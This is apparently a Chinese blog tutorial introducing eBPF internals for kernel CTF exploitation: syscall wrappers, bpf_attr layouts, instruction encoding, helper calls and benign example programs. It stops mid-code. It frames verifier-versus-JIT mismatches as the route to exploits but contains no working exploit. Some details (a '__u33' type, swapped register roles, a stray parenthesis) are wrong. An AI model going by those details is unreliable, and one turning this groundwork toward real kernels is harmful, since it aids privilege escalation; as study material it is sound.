kernel-ebpf

前言

去年老是遇到kernel中有关ebpf的题目,这几天抽空学习一下

ebpf前置知识

ebpf简介

eBPF(extended Berkeley Packet Filter) 是一种可以在 Linux 内核中运行用户编写的程序,而不需要修改内核代码或加载内核模块的技术。简单说,eBPF 让 Linux 内核变得可编程化了。但是这里就有一个问题,内核允许用户编写的程序是一件很危险的事情,所以他实际上是在特权上下文中(如操作系统内核)运行沙盒程序。

通过ebpf,用户可以通过一系列指令编写程序,在程序被加载后需要经过检验,验证通过后会通过JIT (Just-in-Time) 编译成机器码执行。

为了更加便捷,eBPF还支持在eBPF指令中直接调用函数(被称为Helper函数)。

eBPF还提供map等数据结构用来与用户态之间传递信息;

在相关漏洞利用中,一般是想方法绕过严格的eBPF检验,通过漏洞混淆检验的过程,使得检验(模拟执行)结果和实际JIT编译运行结果不一致,从而造成安全漏洞,进一步转化为方便利用的类型。

ebpf基础

通过系统调用号为321的系统调用bpf可以使用eBPF相关功能。glibc并没有提供了包装函数,需要我们进行syscall:

#include <linux/bpf.h>
#include <unistd.h>
#include <asm/unistd_64.h>

int bpf(int cmd, union bpf_attr *attr, unsigned int size) {
    syscall(__NR_bpf, cmd, attr, size);
};
  • 参数cmd标识bpf的行为(类型应为enum bpf_cmd)。常用的有:

    • BPF_PROG_LOAD 用于加载并验证eBPF程序,写好了eBPF程序就用此参数上传。返回一个文件描述符(fd)以供使用。

    • BPF_MAP_CREATE 用于创建一个eBPF map,以键值对(key-value)的形式存储数据。返回一个文件描述符(fd)以供使用。

    • BPF_MAP_LOOKUP_ELEMBPF_MAP_UPDATE_ELEMBPF_MAP_DELETE_ELEM分别用来寻找、更新和删除map中的值(value)/键值对(key/value pair)

    • BPF_MAP_GET_NEXT_KEY寻找map中的下一个键(key)

    • BPF_MAP_FREEZE 冻结map的写权限(包括通过bpf调用实现的),此时检验(verifier)过程会将map中的值当作常数

    • BPF_PROG_TEST_RUN 用于测试运行eBPF,测试用输入(data/context)及输出在参数union bpf_attr *attr中给出

    • 完整版见此

  • 参数unsigned int size一般设置为sizeof(attr)

  • 参数union bpf_attr *attr根据cmd的不同有不同的格式,该参数类型为union bpf_attr *,为一个包含多种结构体的联合体指针。该类型完整原型太长了,我们只看部分:(翻译并补充了部分注释)

union bpf_attr {
...
 struct { /*用作BPF_MAP_CREATE命令的匿名结构体 */
  __u32 map_type; /* 枚举 bpf_map_type 中的一种 */
  __u32 key_size; /* key的大小(字节) */
  __u32 value_size; /* value的大小(字节) */
  __u32 max_entries; /* 一个map的最大入口数 */
  __u32 map_flags; /* BPF_MAP_CREATE 相关
      * flags 标志在上边定义
      */
  __u32 inner_map_fd; /* fd 指向内部map */
  __u32 numa_node; /* numa 节点 (仅在
      * BPF_F_NUMA_NODE 设置时有效).
      */
        ...
 };
    struct { /* 用作BPF_MAP_*_ELEM命令的匿名结构体*/
  __u32  map_fd; // 传入BPF_MAP_CREATE命令创建的map返回的fd
  __aligned_u64 key;
  union {
   __aligned_u64 value;
   __aligned_u64 next_key;
  };
  __u64  flags; // flag值规定了对应命令的行为
 };
    ...

 struct { /* 用作BPF_PROG_LOAD命令的匿名结构体 */
  __u32  prog_type; /* 枚举 bpf_prog_type 中的一种 */
  __u32  insn_cnt; // 指令长度
  __aligned_u64 insns; // 传入指令的指针,事实上类型应该为struct bpf_insn **
  __aligned_u64 license; // 一般为"GPL"
  __u32  log_level; /* 检验报告的详细程度 */
  __u32  log_size; /* 用户缓冲区的大小 */
  __aligned_u64 log_buf; /* 用户提供的缓冲区 */
  __u32  kern_version; /* 没用 */
        ...
 };
    ...

    struct { /* 用作BPF_PROG_TEST_RUN命令的匿名结构体 */
  __u32  prog_fd; // 传入BPF_PROG_LOAD命令创建的map返回的fd
  __u32  retval;
  __u32  data_size_in; /* 输入: data_in的长度 */
  __u32  data_size_out; /* 输入/输出: data_out的长度
       *   返回 ENOSPC 如果 data_out
       *   太小了.
       */
  __aligned_u64 data_in;
  __aligned_u64 data_out;
  __u32  repeat;
  __u32  duration;
  __u32  ctx_size_in; /* 输入: ctx_in的长度 */
  __u33  ctx_size_out; /* 输入/输出: ctx_out的长度
       *   返回 ENOSPC 如果 ctx_out
       *   太小了.
       */
  __aligned_u64 ctx_in;
  __aligned_u64 ctx_out;
  __u32  flags;
  __u32  cpu;
  __u32  batch_size;
 } test;
...
} __attribute__((aligned(8)));

其中,map_type的枚举类型为enum bpf_map_type,部分内容为:

enum bpf_map_type {
 BPF_MAP_TYPE_UNSPEC, // 保留0作为无效类型
 BPF_MAP_TYPE_HASH, // 哈希表,key_size和value_size不受限制
 BPF_MAP_TYPE_ARRAY, // 数组,value_size不受限制,key_size限制为4(uint32)
 BPF_MAP_TYPE_QUEUE, // 队列,value_size不受限制,key_size限制为0(没有键)
 BPF_MAP_TYPE_STACK, // 栈,value_size不受限制,key_size限制为0(没有键),使用特有的Helper函数操作
 ...
}

prog的枚举类型为enum bpf_prog_type,部分内容为:

enum bpf_prog_type {
 BPF_PROG_TYPE_UNSPEC, // 保留0作为无效类型
 BPF_PROG_TYPE_SOCKET_FILTER, // 用于过滤/修改socket接收的数据包
 BPF_PROG_TYPE_KPROBE, // 附加到kprobe上的eBPF
 BPF_PROG_TYPE_SCHED_CLS, // 实现流量控制(Traffic Control)的分类(过滤)
 BPF_PROG_TYPE_SCHED_ACT, // 实现对流量控制(Traffic Control)的操作
 BPF_PROG_TYPE_TRACEPOINT, // 附加到Linux内核终端trace points,来获得内核消息
 ...
}

调用模板

由此可见,参数union bpf_attr *attr是最重要且繁琐的参数。在eBPF Pwn中,我们往往只需要关注部分参数,下边给出一些调用模板:

#include <linux/bpf.h>
#include <stdint.h>
#include <unistd.h>
#include <asm/unistd_64.h>
#define ptr_to_u64(val) (uint64_t)val
#define bpf(cmd, attr, size) syscall(__NR_bpf, cmd, attr, size)

map相关

// 创建map, 一般类型为BPF_MAP_TYPE_ARRAY或BPF_MAP_TYPE_HASH
static int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size,
                          unsigned int value_size, unsigned int max_entries,
                          unsigned int map_flags) {
  union bpf_attr attr = {
      .map_type = map_type,
      .key_size = key_size,
      .value_size = value_size,
      .max_entries = max_entries,
      .map_flags = map_flags,
  };

  return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}

// 根据key来查找value,传入指针
static int
bpf_lookup_elem(int fd, const void *key, void *value)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key    = ptr_to_u64(key),
        .value  = ptr_to_u64(value),
    };

    return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

// 更新/插入key-value对
static int
bpf_update_elem(int fd, const void *key, const void *value,
                uint64_t flags)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key    = ptr_to_u64(key),
        .value  = ptr_to_u64(value),
        .flags  = flags,
    };

    return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

// 根据key来删除value
static int
bpf_delete_elem(int fd, const void *key)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key    = ptr_to_u64(key),
    };

    return bpf(BPF_MAP_DELETE_ELEM, &attr, sizeof(attr));
}

// 根据key来获取下一个key
static int
bpf_get_next_key(int fd, const void *key, void *next_key)
{
    union bpf_attr attr = {
        .map_fd   = fd,
        .key      = ptr_to_u64(key),
        .next_key = ptr_to_u64(next_key),
    };

    return bpf(BPF_MAP_GET_NEXT_KEY, &attr, sizeof(attr));
}

bpf_create_map中的参数max_entries指的是map的最大容量(key-value对大于这个值不允许插入)
bpf_update_elem的flags参数为BPF_NOEXIST(key不存在时才会更新),BPF_EXIST(仅在key存在时更新)或BPF_ANY(两种情况均可)

prog创建

#define LOG_BUF_SIZE 0x400

char bpf_log_buf[LOG_BUF_SIZE];

int
bpf_prog_load(enum bpf_prog_type type,
              const struct bpf_insn *insns, int insn_cnt,
              const char *license)
{
    union bpf_attr attr = {
        .prog_type = type,
        .insns     = ptr_to_u64(insns),
        .insn_cnt  = insn_cnt,
        .license   = ptr_to_u64(license),
        .log_buf   = ptr_to_u64(bpf_log_buf),
        .log_size  = LOG_BUF_SIZE,
        .log_level = 1,
    };

    return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}

// 或者更加简便的
int
bpf_prog_load_once()
{
    const struct bpf_insn insns[] = {
        /* add your code */
    };

    union bpf_attr attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insns = ptr_to_u64(&insns),
        .insn_cnt = sizeof(insns) / sizeof(struct bpf_insn),
        .license = ptr_to_u64("GPL"),
        .log_buf = ptr_to_u64(bpf_log_buf),
        .log_size = LOG_BUF_SIZE,
        .log_level = 2,
    };

    return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}

eBPF触发模板

// 通过socket触发,要求cmd为BPF_PROG_TYPE_SOCKET_FILTER
#include <sys/socket.h>

int sockets[2];

int trigger1(int prog_fd, uint64_t* payload) {
    socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets);
    setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));

    char *buffer = (char *)payload;
    return write(sockets[0], buffer, sizeof(buffer));
}

// 通过BPF_PROG_TEST_RUN触发
int trigger2(int prog_fd, uint64_t* payload) {
    char buffer[TST_DATA_SIZE];
    memset(buffer, 0, TST_DATA_SIZE);
    memcpy(buffer + 0xe, payload, TST_DATA_SIZE - 0xe);

    struct __sk_buff skb = {};

    union bpf_attr tst_run_attr = {
        .test.data_size_in = TST_DATA_SIZE,
        .test.data_in = ptr_to_u64(&buffer),
        .test.ctx_size_in = sizeof(skb),
        .test.ctx_in = ptr_to_u64(&skb),
    };
    tst_run_attr.test.prog_fd = prog_fd;

    return bpf(BPF_PROG_TEST_RUN, &tst_run_attr, sizeof(tst_run_attr)));
}

eBPF指令

在prog(BPF Program(BPF 程序))创建时需要提供指令struct bpf_insn *insns,也是eBPF程序的核心部分。在eBPF Pwn中,指令的编写在触发/利用漏洞中扮演重要角色。

在编写指令之前,我们需要搞明白eBPF的工作模式

这是bpf指令结构体,看着好像并不复杂,但麻雀虽小五脏俱全(想想我们做的vm的题目)

struct bpf_insn {
 __u8 code;  /* opcode */
 __u8 dst_reg:4; /* dest register */
 __u8 src_reg:4; /* source register */
 __s16 off;  /* signed offset */
 __s32 imm;  /* signed immediate constant */
};

一条eBPF指令分为五个部分,分别是操作码目的寄存器源寄存器,(有符号)偏移和(有符号)立即数,长度为64bit(8字节)

编码格式:

操作码(opcode) 8bit

寄存器(regs) (4 + 4 =) 8bit

偏移(offset)16bit

立即数(imm) 32bit

存在宽编码格式指令,后接32bit无用保留区及第二个32bit的立即数,此时指令长度为128bit(16字节)(其实是两条指令拼一块)

操作码(code)分为8类,分别为:

  • BPF_LD 从64位立即数(imm64, 仅允许宽指令)地址取值存入目的寄存器(src_reg)

  • BPF_LDX 从源寄存器(dst_reg)地址取值存入目的寄存器(src_reg)

  • BPF_ST 把立即数(imm)存入目的寄存器(dst_reg)对应地址

  • BPF_STX 把源寄存器(src_reg)数据存入目的寄存器(dst_reg)对应地址

  • BPF_ALU 32位算术操作

  • BPF_JMP 64位跳转操作

  • BPF_JMP32 32位跳转操作

  • BPF_ALU64 64位算术操作

BPF_LD(X)/BPF_ST(X)操作涉及取址,需同时提供取址大小(size),分别有:

  • BPF_W word (32位)

  • BPF_H half word (16位)

  • BPF_B byte (8位)

  • BPF_DW double word (64位)

这里的word(字)的大小并不是16位而是32位

该操作还有不同的模式,参阅此处

其中BPF_ALU/BPF_ALU64中有14种不同的操作,常用的有:

名字

描述

ADD

dst += src

SUB

dst -= src

MUL

dst *= src

DIV

dst = (src != 0) ? (dst / src) : 0

MOD

dst = (src != 0) ? (dst % src) : dst

AND

dst &= src

OR

dst |= src

XOR

dst ^= src

NEG

dst = -dst

MOV

dst = src

MOVSX

dst = (s8,s16,s32)src (根据offset确定)

带符号除法/取模操作在对应命令前加上S即可(SDIV/SMOD
完整版
参阅此处

BPF_JMP32/BPF_JMP也有14种不同的类型,常用的有:

名字

描述

JA

PC += offset/imm (立即跳转)

JEQ

PC += offset if dst == src (相等跳转)

JNE

PC += offset if dst != src (不等跳转)

JGT

PC += offset if dst > src (无符号)

JGE

PC += offset if dst >= src (无符号)

JLT

PC += offset if dst < src (无符号)

JLE

PC += offset if dst <= src (无符号)

JSET

PC += offset if dst & src

带符号比较操作在对应命令中间加上S即可(JSGTJSLE等)

比较特殊的指令有:

名字

源寄存器(src_reg)

描述

CALL

src_reg = 0x0

通过imm对应的static id调用Helper函数

CALL

src_reg = 0x1

PC += imm (作为函数调用)

CALL

src_reg = 0x2

通过imm对应的BTF id调用Helper函数

EXIT

src_reg = 0x0

从函数/eBPF程序返回

对于目的寄存器和源寄存器,有BPF_REG_0BPF_REG_10一共11种,均为64位寄存器,这些寄存器的功能/对应关系如下(下用Rx代替BPF_REG_x):

参阅此处

  • R0 (rax): 函数调用返回值/BPF程序返回值

  • R1 (rdi): 在eBPF程序运行前自动赋值为ctx(不同的cmd参数对应着不同的类型,socket filter中为socket缓冲区),在调用函数时充当argv1

  • R2 (rsi): argv2

  • R3 (rdx): argv3

  • R4 (rcx): argv4

  • R5 (r8): argv5

  • R6 (rbx): 被调用方保留

  • R7 (r13): 被调用方保留

  • R8 (r14): 被调用方保留

  • R9 (r15): 被调用方保留

  • R10 (rbp): 只读寄存器,指向栈帧,用于访问栈

eBPF仅允许参数小于等于5个的函数,在设计时也要考虑这一点

eBPF指令编写

以上便是eBPF指令(struct bpf_insn)的细节,了解了这些我们便可以编写eBPF程序了。
一个eBPF程序事实上就是一个eBPF结构体数组,我们可以直接按照数组/结构体的声明方式直接一句一句地编写eBPF程序,但这样无异于手搓机器码,过于繁琐。
为了稍微简化eBPF程序的编写,Linux项目本身提供了一个宏定义头文件bpf_insn.h,我们可以把它复制下来作为头文件使用。

事实上这种方法只是将手搓机器码升级到了手搓汇编,在编写复杂功能eBPF时还是要用到第三方库(libbpf/libxdp等)

下面这个示例程序展示了我们该如何编写eBPF程序

// gcc exploit.c -static -masm=intel -g -o exploit
#include "kpwn.h"

/*
mv ./rootfs.cpio ./rootfs.cpio.gz
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio
*/

// int main() {
//     bind_core(0);
//     save_status();
//     return 0;
// }

int main() {
    struct bpf_insn bpf_prog[] = {
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),
        BPF_MOV64_IMM(BPF_REG_1, 0x1),
        BPF_MOV64_IMM(BPF_REG_2, 0x2),
        BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x10, 0x3),
        BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x8, 0x4),
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -0x8),
        BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_10, -0x10),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_4),
        BPF_MOV64_IMM(BPF_REG_0, 0x0),
        BPF_EXIT_INSN()
    };

    char log_buf[4096];
    memset(log_buf, 0, sizeof(log_buf));

    union bpf_attr attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insns     = (unsigned long)bpf_prog,
        .insn_cnt  = sizeof(bpf_prog) / sizeof(bpf_prog[0]),
        .license   = (unsigned long)"GPL",
        .log_buf   = (unsigned long)log_buf,
        .log_size  = sizeof(log_buf),
        .log_level = 2,
    };

    int prog_fd = bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
    if (prog_fd < 0) {
        fprintf(stderr, "BPF 加载失败: %s\n", strerror(errno));
        fprintf(stderr, "Verifier 日志:\n%s\n", log_buf);
        return 1;
    }

    printf("BPF 程序加载成功! fd = %d\n", prog_fd);
    printf("Verifier 日志:\n%s\n", log_buf);

    close(prog_fd);
    return 0;
}

可以看出该程序仅仅是进行了一些意义不明的寄存器和栈操作,并没有什么实际用处。为了拓展程序功能,同时减少内核上下文切换的开销,ebPF提供了一系列Helper函数,来实现更强大方便的功能。

Helper函数

eBPF中的Helper函数是内核函数,运行在内核上下文,可以允许eBPF程序如同调用函数一样与内核交互
Helper函数功能强大,用途很广。目前一共有211个Helper函数,可以被分为map相关,trace程序相关,print相关,网络相关等类别
在eBPF pwn中,一般只需要关注部分常用/方便漏洞利用的Helper函数即可

调用函数的方法如下所示

BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_NAME)

传参规则

在调用Helper函数之前,我们先了解一下Helper函数的传参类型规则。以下是一个示例Helper函数原型:

const struct bpf_func_proto bpf_map_pop_elem_proto = {
 .func  = bpf_map_pop_elem,
 .gpl_only = false,
 .ret_type = RET_INTEGER,
 .arg1_type = ARG_CONST_MAP_PTR,
 .arg2_type = ARG_PTR_TO_MAP_VALUE | MEM_UNINIT | MEM_WRITE,
};

其中我们需要注意三个类型:ret_type(类型为bpf_return_type), arg_type(类型为bpf_arg_type)及其后边或操作的参数标志(类型为bpf_type_flag)

  • 参数类型bpf_arg_type

/* 函数参数约束 */
enum bpf_arg_type {
  ARG_DONTCARE = 0, /* 在helper函数中没有用的参数*/

 /* 以下的约束在函数
  * bpf_map_lookup/update/delete_elem() 中使用
  */
  ARG_CONST_MAP_PTR, /* 常量(const)参数 用作指向bpf_map的指针 */
  ARG_PTR_TO_MAP_KEY, /* 指向栈的指针,用作map的键(key) */
  ARG_PTR_TO_MAP_VALUE, /* 指向栈的指针,用作map的值(value) */

 /* 在函数原型bpf_memcmp()和其他访问eBPF程序栈上数据的函数使用 */
  ARG_PTR_TO_MEM,  /* 指向有效地址的指针(stack, packet, map value) */
  ARG_PTR_TO_ARENA,

  ARG_CONST_SIZE,  /* 访问内存的字节数量 */
  ARG_CONST_SIZE_OR_ZERO, /* 访问内存的字节数量(可以是0) */

  ARG_PTR_TO_CTX,  /* 指向context */
  ARG_ANYTHING,  /* 任意 (初始化的) 参数 */
  ...
  ARG_PTR_TO_FUNC, /* 指向bpf函数的指针 */
  ARG_PTR_TO_STACK, /* 指向eBPF栈(stack) */
  ARG_PTR_TO_CONST_STR, /* 指向一个空字符(\x00)截止的只读字符串 */
  ...
}

ARG_CONST_MAP_PTR: 该类型可以由宏BPF_LD_MAP_FD(出自bpf_insn.h,见上文)传入map的文件描述符得到

ARG_PTR_TO_CTX: 该类型为BPF_REG_1在运行前被赋值的类型

  • 返回值类型bpf_return_type

/* helper函数返回值的类型 */
enum bpf_return_type {
  RET_INTEGER,   /*  函数返回整数(int)*/
  RET_VOID,   /* 函数什么也不返回 */
  RET_PTR_TO_MAP_VALUE,  /* 返回一个指向map元素值(value)的指针*/
  RET_PTR_TO_SOCKET,  /* 返回一个指向socket结构体的指针 */
  RET_PTR_TO_TCP_SOCK,  /* 返回一个指向tcp_sock结构体的指针 */
  RET_PTR_TO_SOCK_COMMON,  /* 返回一个指向sock_common结构体的指针 */
  RET_PTR_TO_MEM,   /* 返回一个指向内存的指针 */
  RET_PTR_TO_MEM_OR_BTF_ID, /* 返回一个指向合法地址的指针或一个btf_id */
  RET_PTR_TO_BTF_ID,  /* 返回一个指向btf_id的指针 */
  __BPF_RET_TYPE_MAX,
  ...
}

扩展部分增加了不少RET_PTR_TO_XXX_OR_NULL类型,本质上是在原类型的基础上增加了标志PTR_MAYBE_NULL
这种类型在检验的时候会兼顾两种情况,在编写时要增加检验0的操作(if R0 == 0 then exit)

  • 附加参数标志bpf_type_flag

enum bpf_type_flag {
  /* PTR 可能为 NULL. */
  PTR_MAYBE_NULL  = BIT(0 + BPF_BASE_TYPE_BITS),

  /* MEM 是只读的。当在bpf_arg上应用时,表明该参数既可以是
    * 可变内存也可以是不可变内存.
    */
  MEM_RDONLY  = BIT(1 + BPF_BASE_TYPE_BITS),

  /* MEM 指向 BPF 保留的环形缓冲区(ring buffer reservation). */
  MEM_RINGBUF  = BIT(2 + BPF_BASE_TYPE_BITS),

  /* MEM 在用户空间内. */
  MEM_USER  = BIT(3 + BPF_BASE_TYPE_BITS),

  ...

  /* MEM 可以未初始化. */
  MEM_UNINIT  = BIT(7 + BPF_BASE_TYPE_BITS),

  ...

  /* 大小在编译期就明确. */
  MEM_FIXED_SIZE  = BIT(10 + BPF_BASE_TYPE_BITS),

  ...

  /* 内存必须在某些架构上对齐,
    * 与MEM_FIXED_SIZE一起使用.
    */
  MEM_ALIGNED  = BIT(17 + BPF_BASE_TYPE_BITS),

  /* MEM 将要被写入, 经常和 MEM_UNINIT 一起使用. Non-presence
    * 不出现 MEM_WRITE 意味着 MEM 仅仅被读取. MEM_WRITE 在不与
    * MEM_UNINIT 搭配时意味着该内存需要初始化,因为它也会被读取.
    */
  MEM_WRITE  = BIT(18 + BPF_BASE_TYPE_BITS),

  __BPF_TYPE_FLAG_MAX,
  __BPF_TYPE_LAST_FLAG = __BPF_TYPE_FLAG_MAX - 1,
};

这些参数可以以按位或的方式与ARG_PTR_TO_xxx组合

在寄存器章节有讲到,BPF_REG_1 ~ BPF_REG_5依次为Helper函数参数传递寄存器,BPF_REG_0存放Helper函数返回值,我们便可以根据参数编写正确的Helper调用。

Helper函数介绍

map相关Helper函数

  • bpf_map_lookup_elem

arg1 类型见上文

arg2 类型为ARG_PTR_TO_MAP_KEY,事实上用一个指向栈的指针即可

在map中根据key来查找value

返回值为一个指向map value的指针或NULL(0),需要判断空指针操作

const struct bpf_func_proto bpf_map_lookup_elem_proto = {
  .func  = bpf_map_lookup_elem,
  .gpl_only = false,
  .pkt_access = true,
  .ret_type = RET_PTR_TO_MAP_VALUE_OR_NULL,
  .arg1_type = ARG_CONST_MAP_PTR,
  .arg2_type = ARG_PTR_TO_MAP_KEY,
};

static void *(* const bpf_map_lookup_elem)(void *map, const void *key) = (void *) 1;

BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)

  • bpf_map_update_elem

更新/插入key-value对,flag参数为BPF_NOEXIST(key不存在时才会更新),BPF_EXIST(仅在key存在时更新)或BPF_ANY(两种情况均可)

和用户态调用参数一致

arg2, arg3类型均可以用指向栈的指针

如果成功返回0,失败则返回一个负的错误号

const struct bpf_func_proto bpf_map_update_elem_proto = {
  .func  = bpf_map_update_elem,
  .gpl_only = false,
  .pkt_access = true,
  .ret_type = RET_INTEGER,
  .arg1_type = ARG_CONST_MAP_PTR,
  .arg2_type = ARG_PTR_TO_MAP_KEY,
  .arg3_type = ARG_PTR_TO_MAP_VALUE,
  .arg4_type = ARG_ANYTHING,
};

static long (* const bpf_map_update_elem)(void *map,
                                          const void *key,
                                          const void *value,
                                          __u64 flags) = (void *) 2;

BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem)

写一个示例程序来展示效果:

1. 创建 BPF Array Map(2个条目,value 为 uint64_t

2. 写入 map[0] = 0xaaaabbbb

3. 加载 BPF 程序到内核

4. 通过 socketpair + write 触发 BPF 程序执行

5. 读取 map[1] 并打印

/*
 * eBPF 示例程序:通过 BPF Map 在用户态与内核态之间传递数据
 *
 * 整体逻辑:
 *   1. 用户态创建一个 BPF Array Map(2个槽位)
 *   2. 写入 map[0] = 0xaaaabbbb
 *   3. 加载一段 BPF 字节码程序到内核
 *   4. 通过 socketpair + write 触发 BPF 程序执行
 *   5. BPF 程序:读取 map[0],加 0x10,写入 map[1]
 *   6. 用户态读取 map[1],验证结果
 */

#include "./kpwn.h"       

/* 将指针强转为 uint64_t
 * 因为 bpf_attr 中的指针字段类型是 __u64,需要显式转换 */
#define ptr_to_u64(val) (uint64_t)val

/* 封装 bpf 系统调用
 * 所有 BPF 操作(创建map、加载程序等)都通过同一个系统调用号 __NR_bpf 完成
 * 区别在于第一个参数 cmd 不同 */
#define bpf(cmd, attr, size) syscall(__NR_bpf, cmd, attr, size)

/* 全局 map 文件描述符,用于在 main() 和 bpf_prog_load_once() 之间共享 */
int map_fd;

/* =========================================================
 * 用户态辅助封装函数(wrapper)
 * 本质是对 bpf() 系统调用的二次封装,简化调用方式
 * ========================================================= */

/*
 * bpf_create_map - 在内核中创建一个 BPF Map
 *
 * @map_type:    map 类型(如 BPF_MAP_TYPE_ARRAY、BPF_MAP_TYPE_HASH)
 * @key_size:    key 的字节大小
 * @value_size:  value 的字节大小
 * @max_entries: 最多可存储的条目数
 * @map_flags:   创建标志(0 表示无特殊标志)
 *
 * 返回值:成功返回 map 的文件描述符(fd),失败返回 -1
 */
static int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size,
                          unsigned int value_size, unsigned int max_entries,
                          unsigned int map_flags) {
  /* 填充 bpf_attr 联合体,内核通过这个结构体接收参数 */
  union bpf_attr attr = {
      .map_type    = map_type,
      .key_size    = key_size,
      .value_size  = value_size,
      .max_entries = max_entries,
      .map_flags   = map_flags,
  };

  /* 调用 BPF_MAP_CREATE 命令,内核创建 map 并返回 fd */
  return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}

/*
 * bpf_lookup_elem - 从 BPF Map 中查找一个元素
 *
 * @fd:    map 的文件描述符
 * @key:   指向 key 的指针(用户态地址)
 * @value: 指向 value 缓冲区的指针,内核会将找到的值写入此处
 *
 * 返回值:成功返回 0,key 不存在返回 -1(errno = ENOENT)
 */
static int bpf_lookup_elem(int fd, const void *key, void *value) {
  union bpf_attr attr = {
      .map_fd = fd,
      .key    = ptr_to_u64(key),    // 内核需要 u64 类型的地址
      .value  = ptr_to_u64(value),  // 内核将结果写回这个地址
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

/*
 * bpf_update_elem - 向 BPF Map 中写入(新增或更新)一个元素
 *
 * @fd:    map 的文件描述符
 * @key:   指向 key 的指针
 * @value: 指向 value 的指针(写入此值)
 * @flags: BPF_ANY(不存在则创建,存在则更新)
 *         BPF_NOEXIST(仅创建,key 已存在则失败)
 *         BPF_EXIST(仅更新,key 不存在则失败)
 *
 * 返回值:成功返回 0,失败返回 -1
 */
static int bpf_update_elem(int fd, const void *key, const void *value,
                           uint64_t flags) {
  union bpf_attr attr = {
      .map_fd = fd,
      .key    = ptr_to_u64(key),
      .value  = ptr_to_u64(value),
      .flags  = flags,
  };

  return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

/* =========================================================
 * BPF 程序加载
 * ========================================================= */

#define LOG_BUF_SIZE 0x800

/* BPF 验证器(verifier)日志缓冲区
 * 当 BPF 程序加载失败时,内核会将错误原因写入此缓冲区 */
char bpf_log_buf[LOG_BUF_SIZE];

/*
 * bpf_prog_load_once - 编写并加载 BPF 字节码程序到内核
 *
 * 该 BPF 程序逻辑(伪代码):
 *   val = map_lookup(map_fd, key=0)   // 读取 map[0]
 *   if val == NULL: exit
 *   r6 = *val                         // r6 = 0xaaaabbbb
 *   r6 += 0x10                        // r6 = 0xaaaacbbb
 *   ret = map_update(map_fd, key=1, value=r6)  // map[1] = r6
 *   if ret != 0: exit
 *   return 0
 *
 * 返回值:成功返回 prog_fd(程序文件描述符),失败返回 -1
 */
int bpf_prog_load_once() {
  const struct bpf_insn insns[] = {
      /* --- 保存 ctx 指针 ---
       * BPF 程序入口时 r1 = ctx(socket 上下文),先保存到 r9 备用 */
      BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

      /* --- 第一次 map_lookup_elem:查找 map[0] --- */

      /* r1 = map_fd(map_lookup 的第一个参数:map 文件描述符)
       * BPF_LD_MAP_FD 是一个宏,展开为两条指令(imm64 立即数加载) */
      BPF_LD_MAP_FD(BPF_REG_1, map_fd),

      /* 在栈上 [fp-8] 处存入 key=0(4字节,DW=双字=8字节,值0填满)
       * BPF 栈帧指针是 r10(fp),向低地址增长 */
      BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x8, 0x0),

      /* r2 = &key,即栈上 key 的地址(map_lookup 的第二个参数) */
      BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),

      /* 调用内核 BPF helper:map_lookup_elem(r1=map, r2=&key)
       * 返回值 r0 = 指向 map[0] value 的指针,若 key 不存在则 r0=NULL */
      BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

      /* 如果 r0 != 0(即指针有效),跳过下一条 EXIT 指令 */
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      /* r0 == NULL(key 不存在),直接退出 */
      BPF_EXIT_INSN(),

      /* --- 读取 map[0] 的值 --- */

      /* r6 = *(uint64_t *)(r0 + 0),即读取 map[0] 的 value(0xaaaabbbb) */
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),

      /* r0 = 0(清零返回值,避免 verifier 报错) */
      BPF_MOV64_IMM(BPF_REG_0, 0),

      /* --- 对值进行运算 --- */

      /* r6 += 0x10,即 0xaaaabbbb + 0x10 = 0xaaaacbbb */
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x10),

      /* --- 第二次调用:map_update_elem 将结果写入 map[1] --- */

      /* r1 = map_fd(update 的第一个参数) */
      BPF_LD_MAP_FD(BPF_REG_1, map_fd),

      /* 在栈上 [fp-8] 处存入 key=1 */
      BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x8, 0x1),

      /* r2 = &key=1(update 的第二个参数) */
      BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),

      /* 将 r6(运算结果)存到栈上 [fp-16],作为 value */
      BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -0x10),

      /* r3 = &value(update 的第三个参数) */
      BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
